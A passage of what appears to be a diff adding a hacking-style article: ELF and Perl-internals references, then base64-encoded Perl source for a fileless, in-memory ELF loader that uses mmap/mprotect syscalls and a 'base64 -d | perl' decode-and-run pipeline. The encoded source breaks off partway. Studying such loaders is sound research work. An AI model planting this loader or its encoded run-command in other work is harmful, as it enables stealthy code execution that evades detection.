+[4] https://refspecs.linuxfoundation.org/elf/gabi4+/ch4.eheader.html
+[5] https://refspecs.linuxbase.org/elf/gabi4+/ch4.sheader.html
+[6] https://refspecs.linuxbase.org/elf/gabi4+/ch4.symtab.html
+[7] https://refspecs.linuxbase.org/elf/gabi4+/ch4.reloc.html
+[8] https://github.com/lampmanyao/readelf/blob/master/readelf.pl
+[9] https://blog.cloudflare.com/how-to-execute-an-object-file-part-1/
+[10] https://man7.org/linux/man-pages/man2/mmap.2.html
+[11] https://gist.github.com/monoxgas/c0b0f086fc7aa057a8256b42c66761c8
+[12] https://perldoc.perl.org/perlguts
+[13] https://awarenetwork.org/etc/aware.ezine.1.alpha.txt
+[14] https://man7.org/linux/man-pages/man2/mprotect.2.html
+[15] https://blog.cloudflare.com/how-to-execute-an-object-file-part-2/
+[16] https://blog.cloudflare.com/how-to-execute-an-object-file-part-3/
+[17] https://perldoc.perl.org/DynaLoader
+[18] https://shanetully.com/2013/12/writing-a-self-mutating-x86_64-c-program/
+[19] https://hckng.org/articles/perlhacking-I-peek-poke-xsub.html
+
+====[ source code ]=============================================================
+
+IyEvdXNyL2Jpbi9wZXJsCiMgZXhlY19lbGY2NC5wbAojIHdyaXR0ZW4gYnkgaXNyYSAtIGlzcmEg
+X3JlcGxhY2VfYnlfQF8gZmFzdG1haWwubmV0IC0gaHR0cHM6Ly9oY2tuZy5vcmcKIwojIGh0dHBz
+Oi8vZ2l0LnNyLmh0L35oY2tuZy9lbGYvdHJlZS9tYXN0ZXIvaXRlbS9leGVjX2VsZjY0LnBsCiMg
+aHR0cHM6Ly9naXRodWIuY29tL2lsdi9lbGYvYmxvYi9tYWluL2V4ZWNfZWxmNjQucGwKIyAKIyB2
+ZXJzaW9uIDAuMSAtIDIwMjMKIwojIGluLW1lbW9yeS1vbmx5IGZkLWxlc3MgRUxGIGV4ZWN1dGlv
+bjoKIwojICAtIHJlYWQsIHBhcnNlLCBtYXAsIGFuZCBleGVjdXRlIGEgaGFyZGNvZGVkIEVMRiB4
+NjQgb2JqZWN0CiMgIC0gc3VwcG9ydHMgcmVsb2NhdGlvbiBhbmQgZXh0ZXJuYWwgc3ltYm9scyAo
+ZnJvbSBnbGliYykKIyAgLSB1c2VzIFBlcmwgdjUuMDA4MDAxIG9yIGhpZ2hlcgojICAtIG9ubHkg
+c3RhbmRhcmQgbW9kdWxlcyBhcmUgdXNlZAojCiMgdG8gcnVuOgojICAgICAkIHBlcmwgZXhlY19l
+bGY2NC5wbAojCiMgb3IgKGZ1bGwgZmQtbGVzcyk6CiMgICAgICQgZWNobyBCQVNFNjRfRU5DT0RF
+RF9DT05URU5UIHwgYmFzZTY0IC1kIHwgcGVybAojCiMgdGhhbmtzIHRvIHRtcDB1dCBhbmQgdnh1
+ZyBmb3IgYWxsIHRoZSByZXNvdXJjZXMKIwoKCnVzZSBEeW5hTG9hZGVyOwojdXNlIERldmVsOjpQ
+ZWVrOwp1c2UgNS4wMDgwMDE7ICMgYmVjYXVzZSA1LjYgZG9lc24ndCBoYXZlIEI6OlBWOjpvYmpl
+Y3RfMnN2cmVmCnVzZSBDb25maWc7CnVzZSBCICgpOyAjIGZvciBCOjpQVgp1c2Ugc3RyaWN0OwoK
+CiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
+IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyByZWFkIGVsZgojIyMjIyMjIyMjIyMjIyMjIyMjIyMj
+IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
+CgpzdWIgcmVhZF9lbGYgewogICAgIyB1bmNvbW1lbnQgYmVsb3cgdG8gb3BlbiBFTEYgYXMgYSBy
+ZWd1bGFyIGZpbGUKICAgICNteSAkaW4gPSBwb3AgKEBBUkdWKTsKICAgICNteSAkY29kZSA9ICIi
+OwoKICAgICNvcGVuIG15ICRmaCwgJzw6cmF3JywgJGluOwogICAgIyRjb2RlIC49ICRfIHdoaWxl
+KDwkZmg+KTsKICAgICNjbG9zZSAkZmg7CgogICAgI29wZW4gbXkgJGZoLCAnPDpyYXcnLCAkaW47
+CgogICAgbXkgJGNvZGUgPSBnZXRfY29kZSgpOwogICAgb3BlbiBteSAkZmgsICc8OnJhdycsIFwk
+Y29kZTsKCiAgICByZXR1cm4gKCRjb2RlLCAkZmgpOwp9CgoKIyMjIyMjIyMjIyMjIyMjIyMjIyMj
+IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
+IwojIHBhcnNlIGVsZiB4NjQKIyByZWZlcmVuY2U6IGh0dHBzOi8vZ2l0aHViLmNvbS9sYW1wbWFu
+eWFvL3JlYWRlbGYvYmxvYi9tYXN0ZXIvcmVhZGVsZi5wbAojIyMjIyMjIyMjIyMjIyMjIyMjIyMj
+IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
+CgojIyMjIyMjIGdsb2JhbCB2YXJpYWJsZXMgIyMjIyMjIwoKIyBhcnJheXMgZm9yIHNlY3Rpb24g
+aGVhZGVyIHRhYmxlLCBzeW1ib2wgaGVhZGVyIHRhYmxlLCByZWxvY2F0aW9ucwpteSAoQHNodGFi
+LCBAc3ltdGFiLCBAcmVsb2NzKTsKIyBoYXNoZXMgZm9yIGVsZiBoZWFkZXIsIHN0cmluZyB0YWJs
+ZSwgZXh0ZXJuYWwgc3ltYm9scywgZnVuY3Rpb25zCm15ICglZWhkciwgJXN0cnRhYiwgJWV4dHN5
+bSwgJWZ1bmNzKTsKCiMgaW5kZXhlcyBmb3IgcmVsZXZhbnQgc2VnbWVudHMgb24gdGhlIHNlY3Rp
+b24gaGVhZGVyIHRhYmxlCm15ICgkdGV4dF9uZHgsICRkYXRhX25keCwgJHJvZGF0YV9uZHgsICRz
+eW10YWJfbmR4LCAkcmVsYXRleHRfbmR4KTsKCiMgbnVtYmVyIG9mIGV4dGVybmFsIHN5bWJvbHMK
+bXkgJG51bV9leHRzeW0gPSAwOwoKIyBzaGFyZWQgbGlicmFyeSB0byBsb29rdXAgZXh0ZXJuYWwg
+c3ltYm9scwojIG9ubHkgZ2xpYmMgZm9yIG5vdwpteSAkbGliY19wYXRoID0gIi91c3IvbGliL3g4
+Nl82NC1saW51eC1nbnUvbGliYy5zby42IjsKbXkgJGxpYnJlZiA9IER5bmFMb2FkZXI6OmRsX2xv
+YWRfZmlsZSgkbGliY19wYXRoLCAweDAxKTsKCiMgZWxmIGZpbGUgaGFuZGxlcgpteSAkZWZoOwoK
+IyMjIyMjIyBrZXlzIGZvciByZWxldmFudCBoYXNoZXMgIyMjIyMjIwoKIyBlbGYgaGVhZGVyIGtl
+eXMKbXkgQGVfa2V5cyA9ICgKICAgICdlaV9tYWcwJywgJ2VpX21hZzEnLCAnZWlfbWFnMicsICdl
+aV9tYWczJywgJ2VpX2NsYXNzJywgJ2VpX2RhdGEnLCAKICAgICdlaV92ZXJzaW9uJywgJ2VpX29z
+YWJpJywgJ2VpX2FiaXZlcnNpb24nLCAjZWlfcGFkIGlnbm9yZWQKICAgICdlX3R5cGUnLCAnZV9t
+YWNoaW5lJywgJ2VfdmVyc2lvbicsICdlX2VudHJ5JywgJ2VfcGhvZmYnLCAnZV9zaG9mZicsCiAg
+ICAnZV9mbGFncycsICdlX2Voc2l6ZScsICdlX3BoZW50c2l6ZScsICdlX3BobnVtJywgJ2Vfc2hl
+bnRzaXplJywgJ2Vfc2hudW0nLAogICAgJ2Vfc2hzdHJuZHgnCik7CgojIHNlY3Rpb24gaGVhZGVy
+IGtleXMKbXkgQHNoX2tleXMgPSAoCiAgICAnc2hfbmFtZScsICdzaF90eXBlJywgJ3NoX2ZsYWdz
+JywgJ3NoX2FkZHInLCAnc2hfb2Zmc2V0JywgJ3NoX3NpemUnLAogICAgJ3NoX2xpbmsnLCAnc2hf
+aW5mbycsICdzaF9hZGRyYWxpZ24nLCAnc2hfZW50c2l6ZScKKTsKCiMgc3ltYm9sIHRhYmxlIGtl
+eXMKbXkgQHN0X2tleXMgPSAoCiAgICAnc3RfbmFtZScsICdzdF9pbmZvJywgJ3N0X290aGVyJywg
+J3N0X3NobmR4JywgJ3N0X3ZhbHVlJywgJ3N0X3NpemUnCik7CgojIHJlbG9jYXRpb25zIGtleXMK
+bXkgQHJfa2V5cyA9ICgncl9vZmZzZXQnLCAncl9pbmZvJywgJ3JfYWRkZW5kJyk7CgoKIyMjIyMj
+IyBhdXhpbGlhcnkgc3Vicm91dGluZXMgIyMjIyMjIwoKIyByZWFkICYgdW5wYWNrIGJpbmFyeSBj
+b250ZW50CnN1YiBydSB7CiAgICBteSAkZmggID0gc2hpZnQ7CiAgICBteSAkdHBsID0gc2hpZnQ7
+CiAgICBteSAkc3ogID0gc2hpZnQ7CgogICAgcmVhZCAkZmgsIG15ICRidWZmLCAkc3o7CiAgICBy
+ZXR1cm4gdW5wYWNrKCR0cGwsICRidWZmKTsKfQoKIyBtYWtlIGhhc2ggdG8gZWFzaWx5IGhhbmRs
+ZSB2YXJpb3VzIGhlYWRlcnMgCnN1YiBta19oYXNoIHsKICAgIG15ICRoYXNocmVmID0gc2hpZnQ7
+CiAgICBteSAka2V5c3JlZiA9IHNoaWZ0OwogICAgbXkgJHZhbHNyZWYgPSBzaGlmdDsKCiAgICBm
+b3IobXkgJGkgPSAwOyAkaSA8IEB7JGtleXNyZWZ9OyAkaSsrKSB7CiAgICAgICAgJGhhc2hyZWYt
+Pnska2V5c3JlZi0+WyRpXX0gPSAkdmFsc3JlZi0+WyRpXTsKICAgIH0KfQoKIyBwYXJzZSBlbGYg
+aGVhZGVyCiMgc2VlIGh0dHBzOi8vcmVmc3BlY3MubGludXhmb3VuZGF0aW9uLm9yZy9lbGYvZ2Fi
+aTQrL2NoNC5laGVhZGVyLmh0bWwKc3ViIHBhcnNlX2VoZHIgewogICAgbXkgQGhkciA9IHJ1KCRl
+ZmgsICJDIGEgYSBhIEMgQyBDIEMgQyB4NyBTIFMgSSBxIHEgcSBJIFMgUyBTIFMgUyBTIiwgMHg0
+MCk7CiAgICBta19oYXNoKFwlZWhkciwgXEBlX2tleXMsIFxAaGRyKTsKfQoKIyBwYXJzZSBzZWN0
+aW9uIGhlYWRlciB0YWJsZQojIHNlZSBodHRwczovL3JlZnNwZWNzLmxpbnV4YmFzZS5vcmcvZWxm
+L2dhYmk0Ky9jaDQuc2hlYWRlci5odG1sCnN1YiBwYXJzZV9zaHRhYiB7CiAgICBzZWVrICRlZmgs
+ICRlaGRyeydlX3Nob2ZmJ30sICJTRUVLX1NFVCI7IAogICAgZm9yIChteSAkaSA9IDA7ICRpIDwg
+JGVoZHJ7J2Vfc2hudW0nfTsgJGkrKykgewogICAgICAgIG15ICVzaDsKICAgICAgICBteSBAaGRy
+ID0gcnUoJGVmaCwgIkkgSSBxIHEgcSBxIEkgSSBxIHEiLCAkZWhkcnsnZV9zaGVudHNpemUnfSk7
+CiAgICAgICAgbWtfaGFzaChcJXNoLCBcQHNoX2tleXMsIFxAaGRyKTsKICAgICAgICBwdXNoIEBz
+aHRhYiwgXCVzaDsKCiAgICAgICAgIyByZWFkIGNvbnRlbnQgb2Ygc2VjdGlvbiBoZWFkZXIgZW50
+cnkgb2YgdHlwZSAnU1RSVEFCJwogICAgICAgIGlmKCRzaHsnc2hfdHlwZSd9ID09IDMpIHsKICAg
+ICAgICAgICAgbXkgJHRtcHN0cjsKICAgICAgICAgICAgbXkgJGN1cnJfb2Zmc2V0ID0gdGVsbCAk
+ZWZoOwogICAgICAgICAgICBzZWVrICRlZmgsICRzaHsnc2hfb2Zmc2V0J30sICJTRUVLX1NFVCI7
+CiAgICAgICAgICAgIHJlYWQgJGVmaCwgJHRtcHN0ciwgJHNoeydzaF9zaXplJ307CiAgICAgICAg
+ICAgIHNlZWsgJGVmaCwgJGN1cnJfb2Zmc2V0LCAiU0VFS19TRVQiOwogICAgICAgICAgICAkc3Ry
+dGFieyRzaHsnc2hfb2Zmc2V0J319ID0gJHRtcHN0cjsKICAgICAgICB9CiAgICB9Cn0KCiMgZ2V0
+IHNlY3Rpb24gbmFtZQpzdWIgc2VjbmFtZSB7CiAgICBteSAkbmR4ID0gc2hpZnQ7CiAgICBteSAk
+c3RyID0gc2hpZnQ7CgogICAgbXkgJHMgPSBzdWJzdHIoJHN0ciwgJG5keCk7CiAgICBteSAkciA9
+IHN1YnN0cigkcywgMCwgaW5kZXgoJHMsICJcMCIpKTsKfQoKIyBwYXJzZSBzZWN0aW9uIG5hbWVz
+IGZyb20gc3RyaW5nIHRhYmxlCnN1YiBwYXJzZV9zZWNuYW1lcyB7CiAgICBteSAkc2hzdHJ0YWIg
+PSAkc2h0YWJbJGVoZHJ7J2Vfc2hzdHJuZHgnfV07CiAgICBmb3IobXkgJGkgPSAwOyAkaSA8ICRl
+aGRyeydlX3NobnVtJ307ICRpKyspIHsKICAgICAgICBteSAkbmFtZSA9IHNlY25hbWUoCiAgICAg
+ICAgICAgICRzaHRhYlskaV17J3NoX25hbWUnfSwgCiAgICAgICAgICAgICRzdHJ0YWJ7JHNoc3Ry
+dGFiLT57J3NoX29mZnNldCd9fQogICAgICAgICk7CiAgICAgICAgIyBhZGQgJ25hbWUnIHRvIGVh
+Y2ggc2VjdGlvbiBoZWFkZXIgZW50cnkKICAgICAgICAkc2h0YWJbJGldeyduYW1lJ30gPSAkbmFt
+ZTsKCiAgICAgICAgIyBzYXZlIGluZGV4ZXMgZm9yIGVhc2llciBhY2Nlc3MgdG8gcmVsZXZhbnQg
+c2VnbWVudHMKICAgICAgICAkdGV4dF9uZHggICAgICAgPSAkaSBpZigkbmFtZSBlcSAnLnRleHQn
+KTsKICAgICAgICAkZGF0YV9uZHggICAgICAgPSAkaSBpZigkbmFtZSBlcSAnLmRhdGEnKTsKICAg
+ICAgICAkc3ltdGFiX25keCAgICAgPSAkaSBpZigkbmFtZSBlcSAnLnN5bXRhYicpOwogICAgICAg
+ICRyb2RhdGFfbmR4ICAgICA9ICRpIGlmKCRuYW1lIGVxICcucm9kYXRhJyk7CiAgICAgICAgJHJl
+bGF0ZXh0X25keCAgID0gJGkgaWYoJG5hbWUgZXEgJy5yZWxhLnRleHQnKTsKICAgIH0KfQoKIyBw
+YXJzZSBzeW1ib2wgdGFibGUKIyBzZWUgaHR0cHM6Ly9yZWZzcGVjcy5saW51eGJhc2Uub3JnL2Vs
+Zi9nYWJpNCsvY2g0LnN5bXRhYi5odG1sCnN1YiBwYXJzZV9zeW10YWIgewogICAgbXkgJHN5bXRh
+YiAgICAgID0gJHNodGFiWyRzeW10YWJfbmR4XTsKICAgIG15ICRzaF9saW5rICAgICA9ICRzaHRh
+Ylskc3ltdGFiLT57J3NoX2xpbmsnfV07CiAgICBteSAkbnVtX2VudHJ5ICAgPSAkc3ltdGFiLT57
+J3NoX3NpemUnfS8kc3ltdGFiLT57J3NoX2VudHNpemUnfTsKCiAgICBteSAkY3Vycl9maWxlX29m
+ZnNldCA9IHRlbGwgJGVmaDsKICAgIHNlZWsgJGVmaCwgJHN5bXRhYi0+eydzaF9vZmZzZXQnfSwg
+IlNFRUtfU0VUIjsKICAgIGZvciAobXkgJGkgPSAwOyAkaSA8ICRudW1fZW50cnk7ICRpKyspIHsK
+ICAgICAgICBteSAlc3ltOwogICAgICAgIG15IEBoZHIgPSBydSgkZWZoLCAiSSBDIEMgUyBxIHEi
+LCAkc3ltdGFiLT57J3NoX2VudHNpemUnfSk7CiAgICAgICAgbWtfaGFzaChcJXN5bSwgXEBzdF9r
+ZXlzLCBcQGhkcik7CgogICAgICAgIG15ICR0eXBlID0gJHN5bXsnc3RfaW5mbyd9ICYgMHgwZjsK
+ICAgICAgICBteSAkbmFtZSA9IHNlY25hbWUoCiAgICAgICAgICAgICRzeW17J3N0X25hbWUnfSwg
+CiAgICAgICAgICAgICRzdHJ0YWJ7JHNoX2xpbmstPnsnc2hfb2Zmc2V0J319CiAgICAgICAgKTsK
+ICAgICAgICAjIGFkZCAnbmFtZScgdG8gZWFjaCBzeW1ib2wgCiAgICAgICAgJHN5bXsnbmFtZSd9
+ID0gJG5hbWU7CiAgICAgICAgcHVzaCBAc3ltdGFiLCBcJXN5bTsKCiAgICAgICAgIyBzYXZlIHN0
+X3ZhbHVlIG9mIHN5bWJvbHMgb2YgdHlwZSAnRlVOQycKICAgICAgICAkZnVuY3N7JG5hbWV9ID0g
+JHN5bXsnc3RfdmFsdWUnfSBpZigkdHlwZSA9PSAyKTsKICAgIH0KICAgIHNlZWsgJGVmaCwgJGN1
+cnJfZmlsZV9vZmZzZXQsICJTRUVLX1NFVCI7Cn0KCiMgcGFyc2UgcmVsb2NhdGlvbnMKIyBzZWUg
+aHR0cHM6Ly9yZWZzcGVjcy5saW51eGJhc2Uub3JnL2VsZi9nYWJpNCsvY2g0LnJlbG9jLmh0bWwK
+c3ViIHBhcnNlX3JlbG9jcyB7CiAgICBteSAkcnQgPSAkc2h0YWJbJHJlbGF0ZXh0X25keF07CiAg
+ICBteSAkZW50cnlfbnVtID0gJHJ0LT57J3NoX3NpemUnfS8kcnQtPnsnc2hfZW50c2l6ZSd9OwoK
+ICAgIG15ICRjdXJyX2ZpbGVfb2Zmc2V0ID0gdGVsbCAkZWZoOwogICAgc2VlayAkZWZoLCAkcnQt
+Pnsnc2hfb2Zmc2V0J30sICJTRUVLX1NFVCI7CiAgICBmb3IgKG15ICRpID0gMDsgJGkgPCAkZW50
+cnlfbnVtOyAkaSsrKSB7CiAgICAgICAgbXkgJXI7CiAgICAgICAgbXkgQGhkciA9IHJ1KCRlZmgs
+ICJxIFEgaSIsICRydC0+eydzaF9lbnRzaXplJ30pOwogICAgICAgIG1rX2hhc2goXCVyLCBcQHJf
+a2V5cywgXEBoZHIpOwoKICAgICAgICAjIDQgYnl0ZXMgb24gbGl0dGxlIGVuZGlhbiBvcmRlciAK
+ICAgICAgICBteSAkc3ltX25keCA9IHVucGFjaygiViIsIHBhY2soIk4iLCAkcnsncl9pbmZvJ30g
+Pj4gOCkpOwogICAgICAgICMgbG93LW9yZGVyIGJpdHMgb25seQogICAgICAgIG15ICR0eXBlID0g
+JHJ7J3JfaW5mbyd9ICYgMHgwZjsgCiAgICAgICAgbXkgJHN5bV9uYW1lID0gJHN5bXRhYlskc3lt
+X25keF17J25hbWUnfTsKICAgICAgICBteSAkc3ltX3NobmR4ID0gJHN5bXRhYlskc3ltX25keF17
+J3N0X3NobmR4J307CgogICAgICAgICRyeyd0eXBlJ30gPSAkdHlwZTsKICAgICAgICAkcnsnc3lt
+bmR4J30gPSAkc3ltX25keDsKICAgICAgICBwdXNoIEByZWxvY3MsIFwlcjsKCiAgICAgICAgIyBz
+YXZlIGV4dGVybmFsIHN5bWJvbHMgKHN0X3NobmR4IG9mIHR5cGUgJ1VORCcpCiAgICAgICAgIyB0
+aGUgbnVtX2V4dHN5bSBjb3VudGVyIGlzIHVzZWQgbGF0ZXIgZm9yIGxvb2t1cCBpbiBhICdqdW1w
+IHRhYmxlJwogICAgICAgICRleHRzeW17JHN5bV9uYW1lfSA9ICRudW1fZXh0c3ltKysgaWYoJHN5
+bV9zaG5keCA9PSAwKTsKICAgIH0KICAgIHNlZWsgJGVmaCwgJGN1cnJfZmlsZV9vZmZzZXQsICJT
+RUVLX1NFVCI7Cn0KCiMgZ2x1ZSBpdCBhbGwgdG9nZXRoZXIKc3ViIHBhcnNlX2VsZiB7CiAgICBt
+eSAkZmggPSBzaGlmdDsKICAgICRlZmggPSAkZmg7CiAgICAKICAgIHBhcnNlX2VoZHIoKTsKICAg
+IHBhcnNlX3NodGFiKCk7CiAgICBwYXJzZV9zZWNuYW1lcygpOwogICAgcGFyc2Vfc3ltdGFiKCk7
+CiAgICBwYXJzZV9yZWxvY3MoKTsKfQoKCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
+IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMKIyBwZWVrICYg
+cG9rZSAKIwojIG9yaWdpbmFsIGNvZGUgYnkgTmljayBMYW5kZXJzCiMgaHR0cHM6Ly9naXN0Lmdp
+dGh1Yi5jb20vbW9ub3hnYXMvYzBiMGYwODZmYzdhYTA1N2E4MjU2YjQyYzY2NzYxYzgKIwojIGFk
+YXB0ZWQgZm9yIExpbnV4IHg2NCBieSBpc3JhCiMgbW9zdCBvZiB0aGUgY29tbWVudHMgYXJlIGZy
+b20gdGhlIG9yaWdpbmFsIGF1dGhvcgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
+IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCgojIHBhY2sgdmFs
+dWUgaW50byBhbiB1bnNpZ25lZCBxdWFsIHZhbHVlIChmb3IgbWVtb3J5IGFkZHJlc3NlcykKc3Vi
+IF9wYWNrX2FkZHJlc3MgewogICAgbXkgJHAgPSBwYWNrKCJRIiwgJF9bMF0pOwogICAgcmV0dXJu
+ICRwOwp9CgojIGNvbnZlcnQgdmFsdWUgaW50byBhIFN2UFYKc3ViIHBlZWsgewogICAgdW5wYWNr
+ICJQJF9bMV0iLCBfcGFja19hZGRyZXNzKCRfWzBdKTsKfQoKIyBjb3B5ICRieXRlcyBvZiBsZW5n
+dGggJGxlbiBpbnRvIGFkZHJlc3MgJGxvY2F0aW9uCnN1YiBwb2tlIHsKICAgIG15KCRsb2NhdGlv
+biwgJGJ5dGVzLCAkbGVuKSA9IEBfOwogICAgbXkgJGFkZHIgPSBfcGFja19hZGRyZXNzKCRsb2Nh
+dGlvbik7CiAgICAjIGNvbnN0cnVjdCBhIEI6OlBWIG9iamVjdCwgYmFja2VkIGJ5IGEgU1YvU3ZQ
+ViB0byBhIGR1bW15IHN0cmluZyAKICAgICMgbGVuZ3RoKCRieXRlcykgbG9uZywgYW5kIHN1YnN0
+aXR1dGUgJGxvY2F0aW9uIGFzIHRoZSBhY3R1YWwgc3RyaW5nCiAgICAjIHN0b3JhZ2Ugd2Ugc3Bl
+Y2lmaWNhbGx5IHVzZSB0aGUgc2FtZSBsZW5ndGggc28gd2UgZG8gbm90IGhhdmUgdG8KICAgICMg
+ZGVhbCB3aXRoIHJlc2l6aW5nCiAgICBteSAkZHVtbXkgPSAnWCcgeCAkbGVuOwogICAgbXkgJGR1
+bW15X2FkZHIgPSBcJGR1bW15ICsgMDsKICAgIG15ICRnaG9zdF9zdl9jb250ZW50cyA9IHBlZWso
+JGR1bW15X2FkZHIsIDggKyA0ICsgNCArICRDb25maWd7aXZzaXplfSk7CgoKICAgIHN1YnN0cigg
+JGdob3N0X3N2X2NvbnRlbnRzLCA4ICsgNCArIDQsIDggKSA9ICRhZGRyOyAgICAKCiAgICBteSAk
+Z2hvc3Rfc3RyaW5nX3JlZiA9IGJsZXNzKCBcIHVucGFjaygKICAgICAgICAiUSIsCiAgICAgICAg
+IyBpdCdzIGNydWNpYWwgdG8gY3JlYXRlIGEgY29weSBvZiAkc3ZfY29udGVudHMsIGFuZCB3b3Jr
+IHdpdGggYQogICAgICAgICMgdGVtcG9yYXJ5IG1lbW9yeSBsb2NhdGlvbi4gT3RoZXJ3aXNlIHBl
+cmwgbWVtb3J5IGFsbG9jYXRpb24gd2lsbAogICAgICAgICMga2ljayBpbiBhbmQgd3JlYWsgY29u
+c2lkZXJhYmxlIGhhdm9jIGN1bG1pbmF0aW5nIHdpdGggYW4gaW5ldml0YWJsZQogICAgICAgICMg
+c2VnZmF1bHQKICAgICAgICBkbyB7IG5vIHdhcm5pbmdzICdwYWNrJzsgcGFjayggJ1AnLCAkZ2hv
+c3Rfc3ZfY29udGVudHMuJycgKSB9LAogICAgKSwgJ0I6OlBWJyApLT5vYmplY3RfMnN2cmVmOwog
+ICAgIyBub3cgd2hlbiB3ZSB3cml0ZSB0byB0aGUgbmV3bHkgY3JlYXRlZCAic3RyaW5nIiB3ZSBh
+cmUgYWN0dWFsbHkgd3JpdGluZwogICAgIyB0byAkbG9jYXRpb24uIG5vdGUgd2UgSEFWRSB0byB1
+c2UgbHZhbHVlIHN1YnN0ciAtIGEgcGxhaW4gYXNzaWdubWVudCB3aWxsCiAgICAjIGFkZCBhIFww
+CiAgICAjCiAgICAjIEFsc28gaW4gb3JkZXIgdG8ga2VlcCB0aHJlYWRpbmcgb24gcGVybCA1Ljgu
+eCBoYXBweSB3ZSAqaGF2ZSogdG8gcGVyZm9ybQogICAgIyB0aGlzIGluIGEgc3RyaW5nIGV2YWwu
+IEkgZG9uJ3QgaGF2ZSB0aGUgc2xpZ2h0ZXN0IGlkZWEgd2h5IDopICAgIAogICAgZXZhbCAnc3Vi
+c3RyKCQkZ2hvc3Rfc3RyaW5nX3JlZiwgMCwgJGxlbikgPSAkYnl0ZXMnOwogICAgcmV0dXJuICRs
+ZW47Cn0KCgojIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
+IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjCiMgbWFwIGVsZiB4NjQKIwojIHJlZmVyZW5j
+ZXM6CiMgIC0gaHR0cHM6Ly9ibG9nLmNsb3VkZmxhcmUuY29tL2hvdy10by1leGVjdXRlLWFuLW9i
+amVjdC1maWxlLXBhcnQtMS8KIyAgLSBodHRwczovL2Jsb2cuY2xvdWRmbGFyZS5jb20vaG93LXRv
+LWV4ZWN1dGUtYW4tb2JqZWN0LWZpbGUtcGFydC0yLwojICAtIGh0dHBzOi8vYmxvZy5jbG91ZGZs
+YXJlLmNvbS9ob3ctdG8tZXhlY3V0ZS1hbi1vYmplY3QtZmlsZS1wYXJ0LTMvIAojIyMjIyMjIyMj
+IyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMj
+IyMjIyMjIyMjIyMjCgojIDRLIHBhZ2VzIApzdWIgcGFnZV9hbGlnbiB7CiAgICBteSAkbiA9IHNo
+aWZ0OwogICAgcmV0dXJuICgkbiArICg0MDk2IC0gMSkpICYgfig0MDk2IC0gMSk7Cn0KCiMgbWVt
+b3J5IG1hcApzdWIgbW1hcCB7CiAgICAjIHN5c2NhbGwgbnVtYmVyIGZvciBtbWFwIGlzIDkgb24g
+TGludXggeDg2XzY0CiAgICAjICRhZGRyIGNhbiBiZSBhIGZpeGVkIHZhbHVlLCBvciAwIHRvIGxl
+dCBtbWFwIGNob29zZSBvbmUKICAgICMgaXQgcmV0dXJucyBhIHBvaW50ZXIgdG8gdGhlIG1hcHBl
+ZCBhcmVhIG9uIHN1Y2Nlc3MsIC0xIG9uIGZhaWx1cmUKICAgIG15ICgkYWRkciwgJHNpemUsICRw
+cm90ZWN0LCAkZmxhZ3MpID0gQF87CiAgICBteSAkcmV0ID0gc3lzY2FsbCg5LCAkYWRkciwgJHNp
+emUsICRwcm90ZWN0LCAkZmxhZ3MsIC0xLCAwKTsKICAgIHJldHVybiAkcmV0Owp9CgojIG1lbW9y
+eSBwcm90ZWN0CnN1YiBtcHJvdGVjdCB7CiAgICAjIGl0IHJldHVybnMgMCBvbiBzdWNjZXNzLCAt
+MSBvbiBmYWlsdXJlCiAgICBteSAoJGFkZHIsICRzaXplLCAkcHJvdGVjdCkgPSBAXzsKICAgIG15
+ICRyZXQgPSBzeXNjYWxsKDEwLCAkYWRkciwgJHNpemUsICRwcm90ZWN0KTsKICAgIHJldHVybiAk
+cmV0Owp9CgojIGNhbGN1bGF0ZSBhbmQgYXBwbHkgcmVsb2NhdGlvbnMKc3ViIGRvX3JlbG9jcyB7
+CiAgICAjIHBvaW50ZXJzIHRvIG1hcHBlZCBzZWdtZW50cyBhbmQgJ2p1bXAgdGFibGUnCiAgICBt
+eSAkdGV4dF9wdHIgICAgPSBzaGlmdDsKICAgIG15ICRkYXRhX3B0ciAgICA9IHNoaWZ0OwogICAg
+bXkgJHJvZGF0YV9wdHIgID0gc2hpZnQ7CiAgICBteSAkam1wdGFiX3B0ciAgPSBzaGlmdDsKICAg
+IG15ICRydCAgICAgICAgICA9ICRzaHRhYlskcmVsYXRleHRfbmR4XTsKICAgIG15ICRudW1fcmVs
+b2NzICA9ICRydC0+eydzaF9zaXplJ30vJHJ0LT57J3NoX2VudHNpemUnfTsKIAogICAgZm9yICht
+eSAkaSA9IDA7ICRpIDwgJG51bV9yZWxvY3M7ICRpKyspIHsKICAgICAgICAjIHdoZXJlIHRvIHBh
+dGNoIC50ZXh0IAogICAgICAgIG15ICRzeW1fbmR4ID0gJHJlbG9jc1skaV17J3N5bW5keCd9Owog
+ICAgCiAgICAgICAgIyBzeW1ib2wgYW5kIHNlY3Rpb24gd2l0aCByZXNwZWN0IHRvIHdoaWNoIHRo
+ZSByZWxvY2F0aW9uIGlzIHBlcmZvcm1lZAogICAgICAgICMgZXh0ZXJuYWwgc3ltYm9scyBhcmUg
+aWRlbnRpZmllZCBieSBzdF9zaG5keCA9PSAwICh0eXBlIFVORCkKICAgICAgICBteSAkc3ltX25h
+bWUgPSAkc3ltdGFiWyRzeW1fbmR4XXsnbmFtZSd9OwogICAgICAgIG15ICRzeW1fc2huZHggPSAk
+c3ltdGFiWyRzeW1fbmR4XXsnc3Rfc2huZHgnfTsKICAgICAgICBteSAkc2VjX25hbWUgPSAkc2h0
